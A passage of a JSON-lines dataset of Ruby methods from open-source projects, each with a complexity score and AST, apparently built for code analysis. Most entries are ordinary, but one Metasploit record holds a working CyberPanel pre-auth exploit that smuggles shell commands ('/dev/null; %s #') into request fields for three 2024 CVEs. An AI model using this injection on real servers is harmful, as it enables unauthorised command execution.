end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctes\",{\"type\":\"send\",\"children\":[null,\"build_common_ctes\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"noteable_types\",{\"type\":\"send\",\"children\":[null,\"fetch_noteable_types_in_batch\",{\"type\":\"lvar\",\"children\":[\"ctes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable_types\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"process_noteables_with_ctes\",{\"type\":\"lvar\",\"children\":[\"ctes\"]},{\"type\":\"lvar\",\"children\":[\"noteable_types\"]}]},{\"type\":\"send\",\"children\":[null,\"archive_orphaned_notes_with_ctes\",{\"type\":\"lvar\",\"children\":[\"ctes\"]}]}]}]}]}","id":"9208be41-3b41-490e-b564-48ff4e6c4907"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespaces/traversal/recursive.rb","start_line":50,"raw_source":"def ancestor_ids(hierarchy_order: nil)\n        recursive_ancestors(hierarchy_order: hierarchy_order).pluck(:id)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ancestor_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"hierarchy_order\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recursive_ancestors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_order\"]},{\"type\":\"lvar\",\"children\":[\"hierarchy_order\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"b9787b58-2d63-4b4f-a526-d9d258359945"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/answerhub.rb","start_line":255,"raw_source":"def import_groups\n    puts \"\", \"importing groups...\"\n\n    query =\n      \"SELECT c_id, c_name\n       FROM network6_authoritables\n       WHERE c_type='group'\n       AND c_id > 6;\" # Ignore Anonymous, Users, Moderators, etc.\n    groups = @client.query(query)\n\n    create_groups(groups) do |group|\n      { id: group[\"c_id\"], name: group[\"c_name\"], visibility_level: 1 }\n    end\n  end","complexity_score":8.48,"ast_json":"{\"type\":\"def\",\"children\":[\"import_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing groups...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT c_id, c_name\\n\"]},{\"type\":\"str\",\"children\":[\"       FROM network6_authoritables\\n\"]},{\"type\":\"str\",\"children\":[\"       WHERE c_type='group'\\n\"]},{\"type\":\"str\",\"children\":[\"       AND c_id > 6;\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"groups\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_groups\",{\"type\":\"lvar\",\"children\":[\"groups\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"baac53f5-8e8c-42a2-bdb8-f62dd00d460a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/pgadmin.rb","start_line":13,"raw_source":"def auth_required?\n      res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true)\n      if res&.code == 302 && res.headers['Location']['login']\n        return true\n      end\n      false\n    end","complexity_score":14.83,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[302]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"login\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"2f38faa1-440f-4b0c-b95a-1f368dbd5b8b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb","start_line":120,"raw_source":"def execute_payload(action, injected_payload)\n    endpoint = nil\n    method = nil\n    payload_data = nil\n    headers = {}\n    ctype = nil\n\n    case action\n    when 'cve-2024-51567'\n      endpoint = 'dataBases/upgrademysqlstatus'\n      method = 'OPTIONS'\n      payload_data = '{\"statusfile\": \"/dev/null; %s #\"}' % injected_payload\n\n    when 'cve-2024-51568'\n      endpoint = 'filemanager/upload'\n      method = 'POST'\n\n      csrf_token = get_csrf_token\n\n      post_data = Rex::MIME::Message.new\n      random_domain = Rex::Text.rand_text_alphanumeric(8)\n      random_complete_path = \"/dev/null;#{injected_payload} #\"\n      random_filename = \"#{Rex::Text.rand_text_alphanumeric(6)}.txt\"\n      random_content = Rex::Text.rand_text_alphanumeric(4)\n\n      post_data.add_part(random_domain, nil, nil, 'form-data; name=\"domainName\"')\n      post_data.add_part(random_complete_path, nil, nil, 'form-data; name=\"completePath\"')\n      post_data.add_part(random_content, 'text/plain', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{random_filename}\\\"\")\n      payload_data = post_data.to_s\n\n      headers['X-CSRFToken'] = csrf_token\n      headers['Referer'] = \"#{datastore['SSL'] ? 'https' : 'http'}://#{datastore['RHOST']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'filemanager/upload')}\"\n      headers['Cookie'] = \"csrftoken=#{csrf_token}\"\n      ctype = \"multipart/form-data; boundary=#{post_data.bound}\"\n\n    when 'cve-2024-51378'\n      endpoint = \"#{['ftp', 'dns'].sample}/getresetstatus\"\n      method = 'OPTIONS'\n      payload_data = '{\"statusfile\": \"/dev/null; %s #\"}' % injected_payload\n\n    else\n      fail_with(Failure::BadConfig, 'Invalid action selected')\n    end\n\n    send_request_cgi({\n      'method' => method,\n      'uri' => normalize_uri(target_uri.path, endpoint),\n      'data' => payload_data,\n      'ctype' => ctype,\n      'headers' => headers\n    })\n  end","complexity_score":68.25,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"injected_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ctype\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"cve-2024-51567\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"str\",\"children\":[\"dataBases/upgrademysqlstatus\"]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"str\",\"children\":[\"OPTIONS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\"statusfile\\\": \\\"/dev/null; %s #\\\"}\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"injected_payload\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"cve-2024-51568\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"str\",\"children\":[\"filemanager/upload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"send\",\"children\":[null,\"get_csrf_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"random_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_complete_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/dev/null;\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"injected_payload\"]}]},{\"type\":\"str\",\"children\":[\" #\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_filename\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random_content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_domain\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"domainName\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_complete_path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"completePath\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"random_content\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"file\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random_filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-CSRFToken\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSL\"]}]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"filemanager/upload\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"csrftoken=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ctype\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"cve-2024-51378\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"endpoint\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ftp\"]},{\"type\":\"str\",\"children\":[\"dns\"]}]},\"sample\"]}]},{\"type\":\"str\",\"children\":[\"/getresetstatus\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"str\",\"children\":[\"OPTIONS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_data\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\\\"statusfile\\\": \\\"/dev/null; %s #\\\"}\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"injected_payload\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Invalid action selected\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"endpoint\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"payload_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"lvar\",\"children\":[\"ctype\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}]}","id":"79b04549-3d14-4ed7-a987-dcf960d06971"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/app/services/calendar/resolve_ical_token_service.rb","start_line":31,"raw_source":"def perform\n      ical_token_string = params.fetch(:ical_token_string)\n      if ical_token_string.blank?\n        raise ActiveRecord::RecordNotFound\n      end\n\n      # rubocop:disable Rails/DynamicFindBy\n      token = Token::ICal.find_by_plaintext_value(ical_token_string)\n      # rubocop:enable Rails/DynamicFindBy\n\n      if token.present?\n        ServiceResult.success(result: token)\n      else\n        raise ActiveRecord::RecordNotFound\n      end\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ical_token_string\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"ical_token_string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ical_token_string\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"ICal\"]},\"find_by_plaintext_value\",{\"type\":\"lvar\",\"children\":[\"ical_token_string\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]}]}]}","id":"9d7efb98-39f0-4bda-a423-92e7e0f3b742"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/kubernetes/output/table.rb","start_line":181,"raw_source":"def print_table(table)\n    output.print(table.to_s)\n    output.print_line(\"#{' ' * indent_level}No rows\") if table.rows.empty?\n    output.print_line\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"rows\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"send\",\"children\":[null,\"indent_level\"]}]}]},{\"type\":\"str\",\"children\":[\"No rows\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"print_line\"]}]}]}","id":"d1a1f15e-8465-4f95-bf81-c876c5807a22"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/helpers/spree/theme_helper.rb","start_line":136,"raw_source":"def hex_color_to_rgba(hex)\n      return unless hex.present?\n\n      *rgb, alpha = hex.match(/^#(..)(..)(..)(..)?$/).captures.map { |hex_pair| hex_pair&.hex }\n      opacity = (alpha || 255) / 255.0\n      \"rgba(#{rgb.join(', ')}, #{opacity.round(2)})\"\n    end","complexity_score":16.83,"ast_json":"{\"type\":\"def\",\"children\":[\"hex_color_to_rgba\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rgb\"]}]},{\"type\":\"lvasgn\",\"children\":[\"alpha\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^#(..)(..)(..)(..)?$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"captures\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hex_pair\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_pair\"]},\"hex\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opacity\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"alpha\"]},{\"type\":\"int\",\"children\":[255]}]}]},\"/\",{\"type\":\"float\",\"children\":[255.0]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rgba(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rgb\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opacity\"]},\"round\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"734053bc-5892-46c5-b0f9-9b94fead7f19"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/ambiguous_range.rb","start_line":107,"raw_source":"def require_parentheses_for_method_chain?\n          !cop_config['RequireParenthesesForMethodChains']\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"require_parentheses_for_method_chain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RequireParenthesesForMethodChains\"]}]},\"!\"]}]}","id":"02ad6308-2ffe-45e1-bd2f-d250cbbad49c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/definition/generator/test_module.rb","start_line":237,"raw_source":"def test_raise_error_if_regions_are_empty\n    @regions = []\n\n    assert_raises ArgumentError do\n      subject\n    end\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raise_error_if_regions_are_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@regions\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}]}","id":"e239daf9-c920-4aea-94d0-1b1f4ecfbdb6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager/template.rb","start_line":116,"raw_source":"def raw_update_image(_options = {})\n    raise NotImplementedError, _(\"raw_update_image must be implemented in a subclass\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_update_image\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_update_image must be implemented in a subclass\"]}]}]}]}","id":"86a6dadc-c02e-441c-8f44-5ea4aa8a52cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/error_tracking/base_service.rb","start_line":67,"raw_source":"def can_read?\n      can?(current_user, :read_sentry_issue, project)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_sentry_issue\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"e9b9cf60-b03e-4cf5-8f33-45ce4e0dc924"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1249,"raw_source":"def assert_not_blocked(&block)\n    assert_nothing_raised(&block)\n    assert_response :success\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_not_blocked\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"3f4b51ba-2c2e-4cf8-90b4-44b34a994cfa"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":648,"raw_source":"def visit_Arel_Nodes_IsNotDistinctFrom(o, collector)\n          if o.right.nil?\n            collector = visit o.left, collector\n            collector << \" IS NULL\"\n          else\n            collector = is_distinct_from(o, collector)\n            collector << \" = 0\"\n          end\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_IsNotDistinctFrom\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"right\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" IS NULL\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"is_distinct_from\",{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" = 0\"]}]}]}]}]}","id":"c3546c4f-fae5-4eec-ad3b-e933f184a48c"}
